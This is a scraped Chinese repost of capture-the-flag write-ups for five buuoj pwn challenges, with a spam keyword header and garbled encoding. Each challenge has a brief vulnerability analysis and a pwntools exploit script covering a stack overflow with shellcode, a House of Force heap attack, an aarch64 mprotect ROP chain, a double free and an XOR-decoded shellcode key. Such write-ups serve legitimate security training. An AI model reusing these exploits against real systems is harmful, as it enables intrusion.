日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

buuoj Pwn writeup 246-250

發(fā)布時間:2023/12/15 编程问答 35 豆豆
生活随笔 收集整理的這篇文章主要介紹了 buuoj Pwn writeup 246-250 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

246 pwnable_echo1


結(jié)構(gòu)簡單。

功能1

就是個輸入輸出。但是顯然有個棧溢出。

功能2功能3沒有。

啥保護(hù)沒有,就棧溢出就完了。可以直接rop,它開了NX。也可以shellcode。
寫shellcode會有兩種,一種是布置在棧上,然后在bss上通過jmp esp跳過去,一種是寫在bss上,然后直接跳過去,根據(jù)可輸入大小來自行調(diào)節(jié)。

exp

from pwn import *context(os='linux',arch='amd64',log_level='debug')id_addr=0x6020A0r= remote("node4.buuoj.cn", "28880")payload = "A" * (0x20+8) + p64(id_addr) +asm(shellcraft.sh()) r.recvuntil("hey, what's your name? : ")r.sendline(asm("jmp rsp")) r.recvuntil("> ") r.sendline("1") r.recvline() #gdb.attach(p) r.sendline(payload)r.interactive()

247 actf_2019_actfnote

add
申請了一個0x18的chunk放各種信息,name會申請一個size大小的chunk,而content用的是strdup。

free
清理的也是較為干凈的。

edit
content直接輸入0x20個,前面用的是strdup,有溢出。

list
就是一頓輸出。

因?yàn)橛幸绯?#xff0c;也不大,能把下個chunk的pre_size size覆蓋掉。
因?yàn)闆]開pie,所以直接unlink就好了。當(dāng)然off by one啥的都可以用。

瞅了瞅網(wǎng)上師傅們的wp,發(fā)現(xiàn)還有種解法。
可以直接修改top chunk的size,那么只需要把top chunk的size修改為-1,然后malloc一個負(fù)數(shù),即可將TOP chunk向前移動與已有的chunk重疊,然后通過申請空間,控制該程序結(jié)構(gòu)體的指針即可實(shí)現(xiàn)任意地址讀寫。

非常的神奇……

exp

#coding:utf8 from pwn import *context.log_level = "debug"r = remote('node4.buuoj.cn', 27461)libc = ELF('./64/libc-2.27.so')def add(size,name,content):r.sendlineafter('$','1')r.sendlineafter('size:',str(size))r.sendafter('name:',name)r.sendafter('content:',content)def edit(index,content):r.sendlineafter('$','2')r.sendlineafter('id:',str(index))r.sendafter('content:',content)def delete(index):r.sendlineafter('$','3')r.sendlineafter('id:',str(index))def show(index):r.sendlineafter('$','4')r.sendlineafter('id:',str(index))add(0x10,'a\n','b'*0x18) #0 add(0x10,'a\n','/bin/sh\x00') #1 show(0) r.recvuntil('b'*0x18)libc_base = u64(r.recv(6).ljust(8,'\x00')) - 0x8e3f2 system_addr = libc_base + libc.sym['system'] free_hook_addr = libc_base + libc.sym['__free_hook'] print 'libc_base=',hex(libc_base)add(0x10,'a\n','b\n') #2 edit(2,'b'*0x10 + p64(0) + '\xff'*0x8) add(-0x80,p64(free_hook_addr),'') #3 edit(2,p64(system_addr)) delete(1)r.interactive()

248 駭極杯_2018_babyarm


main函數(shù)在這里。

首先調(diào)用了0x400760
就是set buf。

接著輸出了個name,然后能讀。讀0x200,可以讀到bss上。

再進(jìn)入另外一個函數(shù)。

又可以讀0x200,這次讀在棧里面,顯然有個棧溢出。
沒有啥libc啥的,但是發(fā)現(xiàn)有個mprotect。

所以就像x86一樣,返回mprotect改權(quán)限然后執(zhí)行shellcode。

exp

from pwn import*elf = ELF('./pwn') context(arch='aarch64',log_level='debug') r = remote('node4.buuoj.cn',29842)shellcode_addr = 0x411068 mprotect = 0x4007e0gadget1 = 0x4008cc gadget2 = 0x04008acshellcode = p64(mprotect)+p64(0)+asm(shellcraft.sh()) r.recvuntil('Name:') r.sendline(shellcode) sleep(0.1)payload = 'a'*0x48+p64(gadget1)+p64(0)+p64(gadget2) payload += p64(0)*2+p64(shellcode_addr)+p64(0x7)+p64(0x1000)+p64(0x411000) payload += p64(0)+p64(shellcode_addr+0x10)r.sendline(payload) r.interactive()

249 metasequoia_2020_samsara


free的地方有uaf,可以做double。
在棧上偽造一個chunk,然后改值就好了。

exp

from pwn import *r = remote("node4.buuoj.cn",26172)def add():r.sendlineafter(">","1")def delete(index):r.sendlineafter(">","2")r.sendlineafter(":\n",index)def edit(index,content):r.sendlineafter(">","3")r.sendlineafter(":\n",index)r.sendlineafter(":\n",content)def edit_lair(value):r.sendlineafter(">","5")r.sendlineafter("?\n",value)add() add() add() delete("0") delete("1") delete("0")add() #chunk 3 edit_lair(str(0x20)) edit("3",str(show()-0x8)) add() add() add() edit("6",str(3735928559))r.sendline("6")r.interactive()

250 tiny_backdoor_v1_hackover_2016

保護(hù)一點(diǎn)沒有。

程序很小,一點(diǎn)一點(diǎn)分析。
首先調(diào)用0x4000e1這個函數(shù)。


能往bss讀九個字節(jié)。

又調(diào)用了0x4000f9。
有個小算法。

a1是一堆數(shù)字的數(shù)組,a2是一共多少數(shù)字,一共72.
a1中的值^=你輸入的九個中的值。

最后調(diào)用a1.

所以邏輯就是你輸入個啥,然后讓他們一頓循環(huán),最后把a(bǔ)1變成shellcode。

但是說實(shí)話,咋就能倒回來,這我真不知道……
好不容易找了個exp學(xué)習(xí)學(xué)習(xí),他也說不知道……

這玩意只能是寫個算法慢慢猜吧…
猜猜是不是syscall的
猜猜是不是orw的
orw還得猜猜讀取的大小,讀取的位置,哎呀。

exp

from pwn import * context.log_level='debug' context.arch = "amd64"r = remote("node4.buuoj.cn",25368)key = '\xe6\xd9\xf6\x38\x2a\x02\xfd\x3a\xc3' r.send(key) r.interactive()

總結(jié)

以上是生活随笔為你收集整理的buuoj Pwn writeup 246-250的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。